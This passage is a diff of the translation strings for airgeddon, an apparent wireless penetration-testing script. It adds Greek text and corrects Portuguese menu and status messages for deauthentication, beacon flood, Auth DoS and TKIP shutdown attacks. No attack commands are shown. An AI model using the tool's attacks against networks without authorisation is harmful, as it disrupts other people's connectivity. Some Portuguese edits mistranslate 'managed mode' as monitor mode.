χρησιμοποιηθεί. Επιλέξτε κάποιο άλλο ή ξεκινήστε μία επίθεση βασισμένη στο BSSID αντί αυτού" arr["english",31]="ESSID set to "${normal_color}"$essid" arr["spanish",31]="ESSID elegido "${normal_color}"$essid" arr["french",31]="l'ESSID sélectionné est "${normal_color}"$essid" arr["catalan",31]="l'ESSID seleccionat "${normal_color}"$essid" - arr["portuguese",31]="$pending_of_translation ESSID escolhido "${normal_color}"$essid" + arr["portuguese",31]="ESSID escolhido "${normal_color}"$essid" arr["russian",31]="ESSID установлена на "${normal_color}"$essid" + arr["greek",31]="Το ESSID τέθηκε σε "${normal_color}"$essid" arr["english",32]="All parameters set" arr["spanish",32]="Todos los parámetros están listos" arr["french",32]="Tous les paramètres sont correctement établis" arr["catalan",32]="Tots els paràmetres establerts" - arr["portuguese",32]="$pending_of_translation Todos os parâmetros estão prontos" + arr["portuguese",32]="Todos os parâmetros configurados" arr["russian",32]="Все параметры установлены" + arr["greek",32]="Έχουν τεθεί όλοι οι παράμετροι" arr["english",33]="Starting attack. When started, press Ctrl+C to stop..." arr["spanish",33]="Comenzando ataque. Una vez empezado, pulse Ctrl+C para pararlo..." arr["french",33]="L'attaque est lancé. Pressez Ctrl+C pour l'arrêter..." arr["catalan",33]="Començant l'atac. Un cop començat, premeu Ctrl+C per aturar-lo..." - arr["portuguese",33]="$pending_of_translation Começando ataque. Uma vez iniciado, pressione Ctrl+C para pará-lo..." + arr["portuguese",33]="Começando ataque. Uma vez iniciado, pressione Ctrl+C para pará-lo..." arr["russian",33]="Начало атаки. Когда начнётся, нажмите Ctrl+C для остановки..." + arr["greek",33]="Έναρξη επίθεσης. Όταν ξεκινήσει, πατήστε Ctrl+C για να σταματήσει..." arr["english",34]="Selected interface $interface is in monitor mode. Attack can be performed" arr["spanish",34]="La interfaz seleccionado $interface está en modo monitor. El ataque se puede realizar" arr["french",34]="L'interface $interface qui a été sélectionnée est bien en mode moniteur. L'attaque peut être lancée" arr["catalan",34]="La interfície seleccionada $interface està configurada en mode monitor. L'atac es pot realitzar" - arr["portuguese",34]="$pending_of_translation Os $interface de interface selecionada está no modo monitor. O ataque pode ser realizada" + arr["portuguese",34]="Interface selecionada $interface está em modo monitor. O ataque pode ser realizada" arr["russian",34]="Выбранный интерфейс $interface в режиме монитора. Можно выполнить атаку" + arr["greek",34]="Η επιλεγμένη διεπαφή $interface είναι σε κατάσταση παρακολούθησης. Μπορεί να γίνει επίθεση" arr["english",35]="Deauthentication / Dissasociation mdk3 attack chosen (monitor mode needed)" arr["spanish",35]="Elegido ataque de Desautenticación / Desasociación mdk3 (modo monitor requerido)" @@ -591,6 +646,7 @@ function language_strings() { arr["catalan",35]="Seleccionat atac de Desautenticació / Dissociació mdk3 (es requereix mode monitor)" arr["portuguese",35]="$pending_of_translation Eleito deauth ataque / Separar mdk3 (modo monitor obrigatório)" arr["russian",35]="Выбрана mdk3 атака Деаутентификации / Разъединения (необходим режим монитора)" + arr["greek",35]="Deauthentication / Έχει επιλεχθεί επίθεση dissasociation mdk3 (χρειάζεται η κατάσταση παρακολούθησης)" arr["english",36]="Deauthentication aireplay attack chosen (monitor mode needed)" arr["spanish",36]="Elegido ataque de Desautenticación aireplay (modo monitor requerido)" @@ -598,6 +654,7 @@ function language_strings() { arr["catalan",36]="Seleccionat atac de Desautenticació aireplay (es requereix mode monitor)" arr["portuguese",36]="$pending_of_translation Aireplay eleito ataque deauth (modo monitor obrigatório)" arr["russian",36]="Выбрана aireplay атака Деаутентификации (необходим режим монитора)" + arr["greek",36]="Έχει επιλεχθεί επίθεση deauthentication aireplay (χρειάζεται η κατάσταση παρακολούθησης)" arr["english",37]="WIDS / WIPS / WDS Confusion attack chosen (monitor mode needed)" arr["spanish",37]="Elegido ataque Confusion WIDS / WIPS / WDS (modo monitor requerido)" @@ -605,6 +662,7 @@ function language_strings() { arr["catalan",37]="Seleccionat atac Confusion WIDS /WIPS / WDS (es requereix mode monitor)" arr["portuguese",37]="$pending_of_translation Confusão eleito ataque WIDS / WIPS / WDS (modo monitor obrigatório)" arr["russian",37]="Выбрана атака запутывания WIDS / WIPS / WDS (необходим режим монитора)" + arr["greek",37]="Έχει επιλεχθεί επίθεση σύγχυσης WIDS / WIPS / WDS (χρειάζεται η κατάσταση παρακολούθησης)" arr["english",38]="Beacon flood attack chosen (monitor mode needed)" arr["spanish",38]="Elegido ataque Beacon flood (modo monitor requerido)" @@ -612,6 +670,7 @@ function language_strings() { arr["catalan",38]="Seleccionat atac Beacon flood (es requereix mode monitor)" arr["portuguese",38]="$pending_of_translation Eleito ataque de Beacon flood (modo monitor obrigatório)" arr["russian",38]="Выбрана атака флуда маяками (необходим режим монитора)" + arr["greek",38]="Έχει επιλεχθεί επίθεση πλημμύρας φάρου (χρειάζεται η κατάσταση παρακολούθησης)" arr["english",39]="Auth DoS attack chosen (monitor mode needed)" arr["spanish",39]="Elegido ataque Auth DoS (modo monitor requerido)" @@ -619,83 +678,95 @@ function language_strings() { arr["catalan",39]="Seleccionat atac Auth DoS (es requereix mode monitor)" arr["portuguese",39]="$pending_of_translation Auth escolhido ataque DoS (modo monitor obrigatório)" arr["russian",39]="Выбрана атака Auth DoS (необходим режим монитора)" + arr["greek",39]="Έχει επιλεχθεί επίθεση Auth DoS (χρειάζεται η κατάσταση παρακολούθησης)" arr["english",40]="Michael Shutdown (TKIP) attack chosen (monitor mode needed)" arr["spanish",40]="Elegido ataque Michael Shutdown (TKIP) (modo monitor requerido)" arr["french",40]="L'attaque Michael Shutdown (TKIP) a été choisie (mode moniteur nécessaire)" arr["catalan",40]="Seleccionat atac Michael Shutdown (TKIP) (es requereix mode monitor)" - arr["portuguese",40]="$pending_of_translation Ataque eleito Michael Shutdown (TKIP) (modo monitor obrigatório)" + arr["portuguese",40]="Ataque selecionado Michael Shutdown (TKIP) (modo monitor obrigatório)" arr["russian",40]="Выбрана атака Michael Shutdown (TKIP) (необходим режим монитора)" + arr["greek",40]="Έχει επιλεχθεί επίθεση Michael Shutdown (TKIP) (χρειάζεται η κατάσταση παρακολούθησης)" arr["english",41]="No interface selected. You'll be redirected to select one" arr["spanish",41]="No hay interfaz seleccionada. Serás redirigido para seleccionar una" arr["french",41]="Aucune interface sélectionnée. Vous allez retourner au menu de sélection pour en choisir une" arr["catalan",41]="No hi ha intefície seleccionada. Seràs redirigit per seleccionar una" - arr["portuguese",41]="$pending_of_translation Sem interface selecionada. Você será redirecionado para selecionar um" + arr["portuguese",41]="Nenhuma interface selecionada. Você será redirecionado para selecionar uma" arr["russian",41]="Интерфейс не выбран. Вы будете перенаправлены на выбор интерфейса" + arr["greek",41]="Δεν έχει επιλεχθεί κάποια διεπαφή. Θα καθοδηγηθείτε για να επιλέξετε μία" arr["english",42]="Interface "${pink_color}"$interface"${blue_color}" selected. Mode: "${pink_color}"$ifacemode"${normal_color} arr["spanish",42]="Interfaz "${pink_color}"$interface"${blue_color}" seleccionada. Modo: "${pink_color}"$ifacemode"${normal_color} arr["french",42]="Interface "${pink_color}"$interface"${blue_color}" sélectionnée. Mode: "${pink_color}"$ifacemode"${normal_color} arr["catalan",42]="Interfície "${pink_color}"$interface"${blue_color}" seleccionada. Mode: "${pink_color}"$ifacemode"${normal_color} - arr["portuguese",42]="$pending_of_translation Interface "${pink_color}"$interface"${blue_color}" selecionado. Modo: "${pink_color}"$ifacemode"${normal_color} + arr["portuguese",42]="Interface "${pink_color}"$interface"${blue_color}" selecionada. Modo: "${pink_color}"$ifacemode"${normal_color} arr["russian",42]="Интерфейс "${pink_color}"$interface"${blue_color}" выбран. Режим: "${pink_color}"$ifacemode"${normal_color} + arr["greek",42]="Η διεπαφή "${pink_color}"$interface"${blue_color}" έχει επιλεχθεί. Κατάσταση: "${pink_color}"$ifacemode"${normal_color} arr["english",43]="Selected BSSID: "${pink_color}"$bssid"${normal_color} arr["spanish",43]="BSSID seleccionado: "${pink_color}"$bssid"${normal_color} arr["french",43]="BSSID sélectionné: "${pink_color}"$bssid"${normal_color} arr["catalan",43]="BSSID seleccionat: "${pink_color}"$bssid"${normal_color} - arr["portuguese",43]="$pending_of_translation BSSID selecionado: "${pink_color}"$bssid"${normal_color} + arr["portuguese",43]="BSSID selecionado: "${pink_color}"$bssid"${normal_color} arr["russian",43]="Выбранный BSSID: "${pink_color}"$bssid"${normal_color} + arr["greek",43]="Επιλεγμένο BSSID: "${pink_color}"$bssid"${normal_color} arr["english",44]="Selected channel: "${pink_color}"$channel"${normal_color} arr["spanish",44]="Canal seleccionado: "${pink_color}"$channel"${normal_color} arr["french",44]="Canal sélectionné: "${pink_color}"$channel"${normal_color} arr["catalan",44]="Canal seleecionat: "${pink_color}"$channel"${normal_color} - arr["portuguese",44]="$pending_of_translation Canal selecionado: "${pink_color}"$channel"${normal_color} + arr["portuguese",44]="Canal selecionado: "${pink_color}"$channel"${normal_color} arr["russian",44]="Выбранный канал: "${pink_color}"$channel"${normal_color} + arr["greek",44]="Επιλεγμένο κανάλι: "${pink_color}"$channel"${normal_color} arr["english",45]="Selected ESSID: "${pink_color}"$essid"${blue_color}" <- can't be used" arr["spanish",45]="ESSID seleccionado: "${pink_color}"$essid"${blue_color}" <- no se puede usar" arr["french",45]="ESSID sélectionné: "${pink_color}"$essid"${blue_color}" <- ne peut pas être utilisé" arr["catalan",45]="ESSID seleccionat: "${pink_color}"$essid"${blue_color}" <- no es pot utilitzar" - arr["portuguese",45]="$pending_of_translation ESSID seleccionado: "${pink_color}"$essid"${blue_color}" <- não pode ser utilizada" + arr["portuguese",45]="ESSID selecionado: "${pink_color}"$essid"${blue_color}" <- não pode ser utilizada" arr["russian",45]="Выбранный ESSID: "${pink_color}"$essid"${blue_color}" <- не может быть использован" + arr["greek",45]="Επιλεγμένο ESSID: "${pink_color}"$essid"${blue_color}" <- δεν μπορεί να χρησιμοποιηθεί" arr["english",46]="Selected ESSID: "${pink_color}"$essid"${normal_color} arr["spanish",46]="ESSID seleccionado: "${pink_color}"$essid"${normal_color} arr["french",46]="ESSID sélectionné: "${pink_color}"$essid"${normal_color} arr["catalan",46]="ESSID seleccionat: "${pink_color}"$essid"${normal_color} - arr["portuguese",46]="$pending_of_translation ESSID selecionado: "${pink_color}"$essid"${normal_color} + arr["portuguese",46]="ESSID selecionado: "${pink_color}"$essid"${normal_color} arr["russian",46]="Выбранный ESSID: "${pink_color}"$essid"${normal_color} + arr["greek",46]="Επιλεγμένο ESSID: "${pink_color}"$essid"${normal_color} arr["english",47]="Select an option from menu :" arr["spanish",47]="Selecciona una opción del menú :" arr["french",47]="Choisissez une des options du menu :" arr["catalan",47]="Selecciona una opció del menú :" - arr["portuguese",47]="$pending_of_translation Selecione uma opção de menu :" + arr["portuguese",47]="Selecione uma opção no menu :" arr["russian",47]="Выбор опции из меню :" + arr["greek",47]="Επιλέξτε μία επιλογή από το μενού :" arr["english",48]="1. Select another network interface" arr["spanish",48]="1. Selecciona otra interfaz de red" arr["french",48]="1. Sélectionnez une autre interface réseaux" arr["catalan",48]="1. Selecciona una altre interfície de xarxa" - arr["portuguese",48]="$pending_of_translation 1. Selecione outra interface de rede" + arr["portuguese",48]="1. Selecione outra interface de rede" arr["russian",48]="1. Выбрать другой сетевой интерфейс" + arr["greek",48]="1. Επιλέξτε άλλη διεπαφή" arr["english",49]="4. Explore for targets (monitor mode needed)" arr["spanish",49]="4. Explorar para buscar objetivos (modo monitor requerido)" arr["french",49]="4. Détection des réseaux pour choisir une cible (modo moniteur obligatoire)" arr["catalan",49]="4. Explorar per buscar objectius (es requereix mode monitor)" - arr["portuguese",49]="$pending_of_translation 4. Procurar para procurar objetivos (modo monitor obrigatório)" + arr["portuguese",49]="4. Procurar objetivos (modo monitor obrigatório)" arr["russian",49]="4. Поиск целей (необходим режим монитора)" + arr["greek",49]="4. Εξερεύνηση στόχων (χρειάζεται η κατάσταση παρακολούθησης)" arr["english",50]="monitor mode needed for attacks" arr["spanish",50]="modo monitor requerido en ataques" arr["french",50]="modo moniteur obligatoire pour ces attaques" arr["catalan",50]="mode monitor requerit per atacs" - arr["portuguese",50]="$pending_of_translation necessário no modo ataques monitor" + arr["portuguese",50]="modo monitor necessário para ataques" arr["russian",50]="для атак необходим режим монитора" + arr["greek",50]="χρειάζεται η κατάσταση παρακολούθησης για τις επιθέσεις" arr["english",51]="5. Deauth / disassoc amok mdk3 attack" arr["spanish",51]="5. Ataque Deauth / Disassoc amok mdk3" @@ -703,6 +774,7 @@ function language_strings() { arr["catalan",51]="5. Atac Death /Disassoc amok mdk3" arr["portuguese",51]="5. Ataque Deauth / Disassoc amok mdk3" arr["russian",51]="5. Атака деаутентификации / разъединения amok mdk3" + arr["greek",51]="5. Επίθεση Deauth / Disassoc amok mdk3" arr["english",52]="6. Deauth aireplay attack" arr["spanish",52]="6. Ataque Deauth aireplay" @@ -710,6 +782,7 @@ function language_strings() { arr["catalan",52]="6. Atac Deauth aireplay" arr["portuguese",52]="6. Ataque Deauth aireplay" arr["russian",52]="6. Атака деаутентификации aireplay" + arr["greek",52]="6. Επίθεση Deauth aireplay" arr["english",53]="7. WIDS / WIPS / WDS Confusion attack" arr["spanish",53]="7. Ataque WIDS / WIPS / WDS Confusion" @@ -717,62 +790,71 @@ function language_strings() { arr["catalan",53]="7. Atac WIDS / WIPS / WDS Confusion" arr["portuguese",53]="$pending_of_translation 7. Ataque WIDS / WIPS / Confusão WDS" arr["russian",53]="7. Атака смешения WIDS / WIPS / WDS" + arr["greek",53]="7. Επίθεση σύγχυσης WIDS / WIPS / WDS" arr["english",54]="old \"obsolete/non very effective\" attacks" arr["spanish",54]="antiguos ataques \"obsoletos/no muy efectivos\"" arr["french",54]="anciennes attaques \"obsolètes/peu efficaces\"" arr["catalan",54]="antics atacs \"obsolets/no gaire efectius\"" - arr["portuguese",54]="$pending_of_translation ataques antigos \"obsoleta/não muito eficaz\"" + arr["portuguese",54]="ataques antigos \"obsoletos/não muito eficazes\"" arr["russian",54]="старые \"абсолютно/не очень эффективные\" атаки" + arr["greek",54]="παλιές \"απαρχαιωμένες/όχι και τόσο αποδοτικές\" επιθέσεις" arr["english",55]="2. Put interface in monitor mode" arr["spanish",55]="2. Poner la interfaz en modo monitor" arr["french",55]="2. Passer l'interface en mode moniteur" arr["catalan",55]="2. Configurar la interfície en mode monitor" - arr["portuguese",55]="$pending_of_translation 2. Coloque a interface em modo monitor" + arr["portuguese",55]="2. Coloque a interface em modo monitor" arr["russian",55]="2. Перевести интерфейс в режим монитора" + arr["greek",55]="2. Βάλτε τη διεπαφή σε κατάσταση παρακολούθησης" arr["english",56]="3. Put interface in managed mode" arr["spanish",56]="3. Poner la interfaz en modo managed" arr["french",56]="3. Passer l'interface en mode managed" arr["catalan",56]="3. Configurar la interfície en mode managed" - arr["portuguese",56]="$pending_of_translation 3. Coloque a interface de modo managed" + arr["portuguese",56]="3. Coloque a interface de modo manitor" arr["russian",56]="3. Перевести интерфейс в управляемый режим" + arr["greek",56]="3. Βάλτε τη διεπαφή σε ετερόκλητη κατάσταση" arr["english",57]="6. Put interface in monitor mode" arr["spanish",57]="6. Poner el interfaz en modo monitor" arr["french",57]="6. Passer l'interface en mode moniteur" arr["catalan",57]="6. Configurar la interfície en mode monitor" - arr["portuguese",57]="$pending_of_translation 6. Coloque a interface em modo monitor" + arr["portuguese",57]="6. Coloque a interface em modo monitor" arr["russian",57]="6. Перевести интерфейс в режим монитора" + arr["greek",57]="6. Βάλτε τη διεπαφή σε κατάσταση παρακολούθησης" arr["english",58]="7. Put interface in managed mode" arr["spanish",58]="7. Poner el interfaz en modo managed" arr["french",58]="7. Passer l'interface en mode managed" arr["catalan",58]="7. Configurar la interfície en mode managed" - arr["portuguese",58]="$pending_of_translation 7. Coloque a interface de modo managed" + arr["portuguese",58]="7. Coloque a interface em modo monitor" arr["russian",58]="7. Перевести интерфейс в управляемый режим" + arr["greek",58]="7. Βάλτε τη διεπαφή σε ετερόκλητη κατάσταση" arr["english",59]="11. Return to main menu" arr["spanish",59]="11. Volver al menú principal" arr["french",59]="11. Retourner au menu principal" arr["catalan",59]="11. Tornar al menú principal" - arr["portuguese",59]="$pending_of_translation 11. Volte ao menu principal" + arr["portuguese",59]="11. Voltar ao menu principal" arr["russian",59]="11. Вернуться в главное меню" + arr["greek",59]="11. Επιστροφή στο αρχικό μενού" arr["english",60]="8. About & Credits" arr["spanish",60]="8. Acerca de & Créditos" arr["french",60]="8. A propos de & Crédits" arr["catalan",60]="8. Sobre & Crédits" - arr["portuguese",60]="$pending_of_translation 8. Sobre & Créditos" + arr["portuguese",60]="8. Sobre & Créditos" arr["russian",60]="8. О программе и Благодарности" + arr["greek",60]="8. Σχετικά με & Εύσημα" arr["english",61]="10. Exit script" arr["spanish",61]="10. Salir del script" arr["french",61]="10. Sortir du script" arr["catalan",61]="10. Sortir del script" - arr["portuguese",61]="$pending_of_translation 9. Saia do script" + arr["portuguese",61]="10. Sair do script" arr["russian",61]="10. Выйти из скрипта" + arr["greek",61]="10. Τερματίστε το script" arr["english",62]="8. Beacon flood attack" arr["spanish",62]="8. Ataque Beacon flood" @@ -780,6 +862,7 @@ function language_strings() { arr["catalan",62]="8. Atac Beacon flood" arr["portuguese",62]="8. Ataque Beacon flood" arr["russian",62]="8. Атака флудом маяков (beacon)" + arr["greek",62]="8. Επίθεση πλημμύρας φάρου (beacon)" arr["english",63]="9. Auth DoS attack" arr["spanish",63]="9. Ataque Auth DoS" @@ -787,13 +870,15 @@ function language_strings() { arr["catalan",63]="9. Atac Auth Dos" arr["portuguese",63]="9. Ataque Auth DoS" arr["russian",63]="9. DoS атака деаутентификации" + arr["greek",63]="9. Επίθεση Auth DoS" arr["english",64]="10. Michael shutdown exploitation (TKIP) attack" arr["spanish",64]="10. Ataque Michael shutdown exploitation (TKIP)" arr["french",64]="10. Attaque Michael shutdown exploitation (TKIP)" arr["catalan",64]="10. Atac Michael shutdown exploitation (TKIP)" - arr["portuguese",64]="$pending_of_translation 10. Ataque Michael shutdown exploitation (TKIP)" + arr["portuguese",64]="10. Ataque Michael shutdown exploitation (TKIP)" arr["russian",64]="10. Атака отключения эксплуатации от Michael (TKIP)" + arr["greek",64]="10. Επίθεση Michael shutdown exploitation (TKIP)" arr["english",65]="Exploring for targets option chosen (monitor mode needed)" arr["spanish",65]="Elegida opción de exploración para buscar objetivos (modo monitor requerido)" @@ -801,27 +886,31 @@ function language_strings() { arr["catalan",65]="Seleccionada opció d'exploració per buscar objectius (requerit mode monitor)" arr["portuguese",65]="$pending_of_translation Opção de digitalização selecionado para procurar objetivos (modo monitor obrigatório)" arr["russian",65]="Выбранные опции для сканирования целей (необходим режим монитора)" + arr["greek",65]="Η επιλογή για εξερεύνηση στόχων έχει επιλεχθεί (χρειάζεται η κατάσταση παρακολούθησης)" arr["english",66]="Selected interface $interface is in monitor mode. Exploration can be performed" arr["spanish",66]="La interfaz seleccionada $interface está en modo monitor. La exploración se puede realizar" arr["french",66]="L'interface choisie $interface est en mode moniteur. L'exploration des réseaux environnants peut s'effectuer" arr["catalan",66]="La interfície seleccionada $interface està en mode monitor. L'exploració es pot realitzar" - arr["portuguese",66]="$pending_of_translation A interface selecionada $interface está no modo monitor. A verificação pode ser realizada" + arr["portuguese",66]="A interface selecionada $interface está no modo monitor. A verificação pode ser realizada" arr["russian",66]="Выбранный интерфейс $interface в режиме монитора. Сканирование может быть выполнена" + arr["greek",66]="Η επιλεγμένη διεπαφή $interface είναι σε κατάσταση παρακολούθησης. Μπορεί να γίνει εξερεύνηση" arr["english",67]="When started, press Ctrl+C to stop..." arr["spanish",67]="Una vez empezado, pulse Ctrl+C para pararlo..." arr["french",67]="Une foi l'opération lancée, veuillez presser Ctrl+C pour l'arrêter..." arr["catalan",67]="Una vegada iniciat, polsi Ctrl+C per detenir-ho..." - arr["portuguese",67]="$pending_of_translation Uma vez iniciado, pressione Ctrl+C para pará-lo..." + arr["portuguese",67]="Uma vez iniciado, pressione Ctrl+C para pará-lo..." arr["russian",67]="После запуска, нажмите Ctrl+C для остановки..." + arr["greek",67]="Όταν αρχίσει, πατήστε Ctrl+C για να σταματήσει..." arr["english",68]="No networks found" arr["spanish",68]="No se encontraron redes" arr["french",68]="Aucun réseau détecté" arr["catalan",68]="No s'han trobat xarxes" - arr["portuguese",68]="$pending_of_translation Nenhuma rede encontrada" + arr["portuguese",68]="Nenhuma rede encontrada" arr["russian",68]="Сети не найдены" + arr["greek",68]="Δεν βρέθηκαν δίκτυα" arr["english",69]=" N. BSSID CHANNEL PWR ENC ESSID" arr["spanish",69]=" N. BSSID CANAL PWR ENC ESSID" @@ -829,69 +918,79 @@ function language_strings() { arr["catalan",69]=" N. BSSID CANAL PWR ENC ESSID" arr["portuguese",69]=" N. BSSID CANAL PWR ENC ESSID" arr["russian",69]=" N. BSSID CHANNEL PWR ENC ESSID" + arr["greek",69]=" N. BSSID CHANNEL PWR ENC ESSID" arr["english",70]="Only one target detected. Autoselected" arr["spanish",70]="Sólo un objetivo detectado. Se ha seleccionado automáticamente" arr["french",70]="Un seul réseau a été détecté. Il a été automatiquement sélectionné" arr["catalan",70]="Només un objectiu detectat. Seleccionat automàticament" - arr["portuguese",70]="$pending_of_translation Apenas um alvo detectado. Foi seleccionado automaticamente" - arr["russian",70]="Обнаружена только одна цель. Выбрана автоматически " + arr["portuguese",70]="Apenas uma rede encontrada. A rede foi selecionada automaticamente" + arr["russian",70]="Обнаружена только одна цель. Выбрана автоматически" + arr["greek",70]="Εντοπίστηκε μόνο ένας στόχος. Επιλέχθηκε αυτόματα" arr["english",71]="(*) Network with clients" arr["spanish",71]="(*) Red con clientes" arr["french",71]="(*) Réseau avec clients" arr["catalan",71]="(*) Xarxa amb clients" - arr["portuguese",71]="$pending_of_translation (*) Vermelho com clientes" + arr["portuguese",71]="(*) Rede com clientes" arr["russian",71]="(*) Сеть с клиентами" + arr["greek",71]="(*) Δίκτυο με χρήστες" arr["english",72]="Invalid target network was chosen" arr["spanish",72]="Red objetivo elegida no válida" arr["french",72]="Le choix du réseau cible est invalide" arr["catalan",72]="Xarxa de destí seleccionada no vàlida" - arr["portuguese",72]="$pending_of_translation Rede alvo escolhido inválido" + arr["portuguese",72]="A rede escolhida é inválida" arr["russian",72]="Была выбрана неподходящая целевая сеть" + arr["greek",72]="Επιλέχθηκε άκυρο δίκτυο" arr["english",73]="airgeddon script v$airgeddon_version developed by :" arr["spanish",73]="airgeddon script v$airgeddon_version programado por :" arr["french",73]="Le script airgeddon v$airgeddon_version a été programmé par :" arr["catalan",73]="airgeddon script v$airgeddon_version desenvolupat per :" - arr["portuguese",73]="airgeddon script v$airgeddon_version programado por :" + arr["portuguese",73]="Script airgeddon v$airgeddon_version desenvolvido por :" arr["russian",73]="скрипт airgeddon v$airgeddon_version создал :" + arr["greek",73]="airgeddon script v$airgeddon_version προγραμματίστηκε από :" arr["english",74]="This script is under GPLv3 (or later) License" arr["spanish",74]="Este script está bajo Licencia GPLv3 (o posterior)" arr["french",74]="Script publié sous Licence GPLv3 (ou version supèrieure)" arr["catalan",74]="Aquest script està publicat sota llicència GPLv3 (o versió superior)" - arr["portuguese",74]="$pending_of_translation Este script está sob licença GPLv3 (ou posterior)" + arr["portuguese",74]="Este script está sob licença GPLv3 (ou posterior)" arr["russian",74]="Этот скрипт под лицензией GPLv3 (или более поздней)" + arr["greek",74]="Αυτό το script είναι υπό την άδεια GPLv3 (ή νεότερη)" arr["english",75]="Thanks to the \"Spanish pen testing crew\", to the \"Wifislax Staff\" and special thanks Kcdtv for beta testing and support received" arr["spanish",75]="Gracias al \"Spanish pen testing crew\", al \"Wifislax Staff\" y en especial a Kcdtv por el beta testing y el apoyo recibido" arr["french",75]="Merci au \"Spanish pen testing crew\" , au \"Wifislax Staff\" et au Kcdtv pour les tests en phase bêta et leur soutien" arr["catalan",75]="Gràcies al \"Spanish pen testing crew\", al \"Wifislax Staff\" i al Kcdtv per les proves beta i el recolzament rebut" - arr["portuguese",75]="$pending_of_translation Graças à \"Spanish pen testing crew\" para \"Wifislax Staff\" e, especialmente, Kcdtv por meio de testes beta e apoio recebido" + arr["portuguese",75]="Agradecimentos a \"Spanish pen testing crew\", \"Wifislax Staff\" e especialmente para Kcdtv por testes beta também a todo apoio recebido" arr["russian",75]="Спасибо \"Spanish pen testing crew\", за \"Wifislax Staff\" и специальное спасибо Kcdtv за бета тестирование и полученную поддержку" + arr["greek",75]="Τις ευχαριστίες στην \"Ισπανική ομάδα pen testing\", στο \"Wifislax Staff\" και πολλά ευχαριστώ στον Kcdtv για το beta testing και την υποστήριξη που λάβαμε" arr["english",76]="Invalid menu option was chosen" arr["spanish",76]="Opción del menú no válida" arr["french",76]="Option erronée" arr["catalan",76]="Opció del menú no vàlida" - arr["portuguese",76]="$pending_of_translation Menu de opção inválida" + arr["portuguese",76]="Opção do menu inválida" arr["russian",76]="Выбрана недействительная опция" + arr["greek",76]="Επιλέχθηκε άκυρη επιλογή μενού" arr["english",77]="Invalid interface was chosen" arr["spanish",77]="Interfaz no válida" arr["french",77]="L'interface choisie n'existe pas" arr["catalan",77]="Interfície no vàlida" - arr["portuguese",77]="$pending_of_translation Interface inválida" + arr["portuguese",77]="Interface inválida" arr["russian",77]="Был выбран недействительный интерфейс" + arr["greek",77]="Επιλέχθηκε άκυρη διεπαφή" arr["english",78]="9. Change language" arr["spanish",78]="9. Cambiar idioma" arr["french",78]="9. Changer de langue" arr["catalan",78]="9. Canviar l'idioma" - arr["portuguese",78]="$pending_of_translation 9. Alterar idioma" + arr["portuguese",78]="9. Alterar idioma" arr["russian",78]="9. Сменить язык" + arr["greek",78]="9. Αλλάξτε γλώσσα" arr["english",79]="1. English" arr["spanish",79]="1. Inglés" @@ -899,6 +998,7 @@ function language_strings() { arr["catalan",79]="1. Anglés" arr["portuguese",79]="1. Inglês" arr["russian",79]="1. Английский" + arr["greek",79]="1. Αγγλικά" arr["english",80]="2. Spanish" arr["spanish",80]="2. Español" @@ -906,41 +1006,47 @@ function language_strings() { arr["catalan",80]="2. Espanyol" arr["portuguese",80]="2. Espanhol" arr["russian",80]="2. Испанский" + arr["greek",80]="2. Ισπανικά" arr["english",81]="Select a language :" arr["spanish",81]="Selecciona un idioma :" arr["french",81]="Choisissez une langue :" arr["catalan",81]="Selecciona un idioma :" - arr["portuguese",81]="$pending_of_translation Selecione um idioma :" + arr["portuguese",81]="Selecione um idioma :" arr["russian",81]="Выберите язык :" + arr["greek",81]="Επιλέξτε μία γλώσσα :" arr["english",82]="Invalid language was chosen" arr["spanish",82]="Idioma no válido" arr["french",82]="Langue non valide" arr["catalan",82]="Idioma no vàlid" - arr["portuguese",82]="$pending_of_translation Idioma inválido" + arr["portuguese",82]="Idioma inválido" arr["russian",82]="Был выбран неверный язык" + arr["greek",82]="Επιλέχθηκε άκυρη γλώσσα" arr["english",83]="Language changed to English" arr["spanish",83]="Idioma cambiado a Inglés" arr["french",83]="Le script sera maintenant en Anglais" arr["catalan",83]="Idioma canviat a Anglés" - arr["portuguese",83]="$pending_of_translation Idioma alterado para Inglês" + arr["portuguese",83]="Idioma alterado para Inglês" arr["russian",83]="Язык изменён на английский" + arr["greek",83]="Η γλώσσα άλλαξε σε Αγγλικά" arr["english",84]="Language changed to Spanish" arr["spanish",84]="Idioma cambiado a Español" arr["french",84]="Le script sera maintenant en Espagnol" arr["catalan",84]="Idioma canviat a Espanyol" - arr["portuguese",84]="$pending_of_translation Idioma alterado para Espanhol" + arr["portuguese",84]="Idioma alterado para Espanhol" arr["russian",84]="Язык изменён на испанский" + arr["greek",84]="Η γλώσσα άλλαξε σε Ισπανικά" arr["english",85]="Send me bugs or suggestions to $mail" arr["spanish",85]="Enviadme errores o sugerencias a $mail" arr["french",85]="Envoyer des erreurs ou des suggestions à $mail" arr["catalan",85]="Envieu-me errorrs o suggeriments a $mail" - arr["portuguese",85]="$pending_of_translation Enviar erros ou sugestões para $mail" + arr["portuguese",85]="Enviar erros ou sugestões para $mail" arr["russian",85]="Отправляйте ошибки и предложения мне на почту $mail" + arr["greek",85]="Στείλτε μου αναφορές για bugs ή συστάσεις στο $mail" arr["english",86]="Welcome" arr["spanish",86]="Bienvenid@" @@ -948,20 +1054,23 @@ function language_strings() { arr["catalan",86]="Benvingut" arr["portuguese",86]="Bem-vindo" arr["russian",86]="Добро пожаловать" + arr["greek",86]="Καλως ορίσατε" arr["english",87]="Change language" arr["spanish",87]="Cambiar idioma" arr["french",87]="Changer de langue" arr["catalan",87]="Canviar d'idioma" - arr["portuguese",87]="$pending_of_translation Mudar idioma" + arr["portuguese",87]="Mudar idioma" arr["russian",87]="Сменить язык" + arr["greek",87]="Αλλάξτε γλώσσα" arr["english",88]="Interface selection" arr["spanish",88]="Selección de interfaz" arr["french",88]="Sélection de l'interface" arr["catalan",88]="Selecció de interfície" - arr["portuguese",88]="$pending_of_translation Seleção de interface" + arr["portuguese",88]="Selecionar de interface" arr["russian",88]="Выбор интерфейса" + arr["greek",88]="Επιλογή διεπαφής" arr["english",89]="Mdk3 amok action" arr["spanish",89]="Acción mdk3 amok" @@ -969,6 +1078,7 @@ function language_strings() { arr["catalan",89]="Acció mdk3 amok" arr["portuguese",89]="Acção mdk3 amok" arr["russian",89]="Mdk3 amok в действии" + arr["greek",89]="Ενέργεια mdk3 amok" arr["english",90]="Aireplay deauth action" arr["spanish",90]="Acción aireplay deauth" @@ -976,6 +1086,7 @@ function language_strings() { arr["catalan",90]="Acció aireplay deauth" arr["portuguese",90]="Acção deauth aireplay" arr["russian",90]="Деаутентификация Aireplay в действии" + arr["greek",90]="Ενέργεια aireplay deauth" arr["english",91]="WIDS / WIPS / WDS confusion action" arr["spanish",91]="Acción WIDS / WIPS / WDS 